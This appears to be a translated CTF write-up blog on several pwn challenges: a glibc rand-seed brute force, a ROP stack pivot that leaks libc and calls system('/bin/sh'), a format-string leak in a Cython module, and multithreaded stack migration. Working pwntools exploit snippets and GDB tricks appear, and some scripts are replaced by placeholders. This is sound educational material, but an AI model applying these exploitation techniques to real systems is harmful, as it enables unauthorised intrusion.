Here's a small detail - after padding the
seed
with\x00
, therand()
function will automatically callsrand(1)
once, and in fact, the results ofsrand(1)
andsrand(0)
are the same.I found an article on stackoverflow
How glibc does it:
around line 181 of glibc/stdlib/random_r.c, inside function
__srandom_r
/* We must make sure the seed is not 0. Take arbitrarily 1 in this case. */
if (seed == 0)
seed = 1;But that's just how glibc does it. It depends on the implementation of the C standard library.
Next is the lengthy brute-forcing process. I can only say that luck was really not on my side, as I brute-forced for over an hour, making me think at one point that there was an issue with the script I wrote.
After a long wait, I finally got the FLAG o00O0o00D_LuCk_With_y0ur_Ctf_career!!!
, but only the latter half? How could this happen?
After carefully studying IDA, I found that the first half of the flag was actually provided during the first random operation (but because I thought there was too much debug information when running, I commented it out).
Concatenating the two parts, we have the complete FLAG:
TSCTF-J{G0o00O0o00D_LuCk_With_y0ur_Ctf_career!!!}
Two simple PWN challenges, simply updated, documenting Python debugging along the way.
Simply a check-in challenge, where we need to leak the libc address to call system after getting an initial stack migration, eliminating the need for a second migration. The code snippet is omitted.
It's worth noting that before the second read, RSP is pointing to bss + 8, so when we call read, it reaches bss, and the return address goes directly to bss, eliminating the need for a second migration.
pop_rdi = 0x0000000000401353
bss = 0x4050a0
leave_ret = 0x40124b
sendafter(b'again!', p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main']))
sendafter(b'number', p32(0x12345678))
dbg(pause_time=5)
sendafter(b'TaiCooLa', b'A'*0x30 + p64(bss-8) + p64(leave_ret))
libc.address = u64(recv(6).ljust(8, b'\x00')) - libc.symbols['puts']
print(f'libc: {hex(libc.address)}')
sendlineafter(b'again!', p64(pop_rdi) + p64(libc.search(b'/bin/sh').__next__()) + p64(libc.symbols['system']))
interactive()
A .so file written using CPython, requiring the same Python version for importing.
Noting that the .so file is dynamically loaded, breakpoints cannot be set directly using gdb.debug
. However, it was observed during testing that setting breakpoints at the read
function did not allow for continuing past the breakpoint.
It is speculated afterwards that the breakpoint might have been set at the wrong position, which is difficult to evaluate.
Therefore, a slightly tricky approach was used by setting a breakpoint at the position PyImport_ImportModule+4
, to see which package triggers the loading of the .so file. Once identified, another breakpoint can be set conditionally for debugging.
b *PyImport_ImportModule+4 if strcmp((char*)$rdi, "datetime") == 0
There is also a technique for setting breakpoints, where it was discovered while importing into IDA that it contains debug information, making it possible to identify which file and line a specific function belongs to. GDB automatically handles the offset, making it more convenient. Of course, due to the presence of symbol tables, func_name+offset
can be used directly as well.
b app.c:2963
# or
b __pyx_f_3app_Welcome2Pwnthon+36
After discussing the debugging methods, let's proceed directly to the exploit. The vulnerability is also quite apparent, a format string vulnerability along with a stack overflow.
However, Python cannot use methods like %n$
, therefore, it needs to be written step by step, leading to no arbitrary address writing method. Nevertheless, upon GDB inspection, it was found that there were addresses like open64+232
on the stack that could be leaked, along with the canary, to achieve the leak.
It is noteworthy that in Python, rsp is used to store the return address, so even though it is %31$p
, it effectively corresponds to %30$
.
sendline(b'%p.'*0x1e)
resp = recvline(keepends=False).split(b'.')
print(resp)
canary = int(resp[-2], 16)
success(f'>> canary = {hex(canary)}')
libc.address = int(resp[-8], 16) - 0x1147b8
success(f">> libc = {hex(libc.address)}")
After obtaining the leak, it's a matter of stack overflow to write to system
.
# Exploit code
<Exploit code here>
python exp.py -a main.py venv/bin/python # venv/bin/python corresponding to version 3.7
This PWN challenge is of high quality, but there were too many tasks and I was busy preparing for an exam, so I didn't spend much time on it. Here is a brief reproduction.
This is a challenge involving stack migration in multithreading.
Key points:
mmap
, with the same offset as libc.Attack train of thought:
bss
, and change the write
function's GOT entry to the read
function in the parent thread.puts
to leak libc information, and then obtain the sub-thread stack address.Points to note:
write
GOT entry, we can only overflow by 0x10 bytes; however, at this point, the place of rbp - 0x10
coincides with the return address of the read
function. Therefore, we can control up to 0x20 bytes, which is enough to write pop rdi + got['puts'] + plt['puts'] + magic_read
.magic_read
can still only overflow by 0x10 bytes, so we need to migrate to the high address of the stack.Points of confusion:
After modifying the write
GOT entry, because the write
function is called every 1 second (waiting for stdin input), I'm not sure if it's a pwndbg issue or constantly being interrupted, so I can only break at that point. I can't use si/n/c
, as they will crash, making debugging very complex. Later on, I had to rely on continuously changing the breakpoint position to step through the code (laughs)
Set GDB set scheduler-locking step
to resolve this issue.
Exploit script (not suitable for remote, using local libc 2.35):
[Translated Python script...]
Couldn't make it to Singapore for the finals, so no time for that, just taking a look at the preliminary round.
It's hard to evaluate the Pwn questions in the preliminary round. The Pwn parts are all quite simple, but they throw in RE/WEB/MISC wrappers, and even after two days, pwn3 still couldn't be solved, so I didn't feel like looking into it further.
import Link from '@docusaurus/Link';
First offline competition? All thanks to the senior brother's guidance, ranked second on the first day of the problem-solving competition, but unfortunately lost at the King of Hill on the second day and only got the first prize in the end.
To be precise, it seems that this award has nothing to do with me (laughs)
But I learned a lot.